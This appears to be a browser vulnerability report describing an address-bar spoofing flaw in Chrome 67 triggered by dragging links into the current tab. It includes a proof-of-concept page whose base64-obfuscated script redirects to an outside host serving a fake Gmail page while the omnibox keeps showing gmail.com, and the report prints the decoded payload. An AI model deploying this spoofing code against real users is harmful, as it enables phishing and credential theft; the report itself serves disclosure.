VULNERABILITY DETAILS
When navigation succeeds, the Drag&Drop‘s URL is always shown in the omnibox and fails to refresh on navigation.

VERSION
Chrome Version: 67.0.3396.99+[Stable]
Operating System: [Windows]

REPRODUCTION CASE
Drag and drop links to the current TAB.

POC:

<script>
document.addEventListener("dragend", function() {
document.write(atob('PGgxPlNwb29mPC9oMT4KPHNjcmlwdD4KbG9jYXRpb249J2h0dHA6Ly94aXNpZ3IuY29tL3Rlc3QxOTk1L0dtYWlsLmh0bSc7Ci8vbG9jYXRpb249J2h0dHBzOi8vYXBwbGUuY29tJzsKPC9zY3JpcHQ+Cgo='));
document.write('<title>Google</title>');
});
</script>

<p>
Drag and drop links to the current TAB.
</p>
<a href="https://www.gmail.com/">www.gmail.com</a> 
 
base64 decode:
<h1>Spoof</h1>
<script>
location='http://xisigr.com/test1995/Gmail.htm';
//location='https://apple.com';
</script>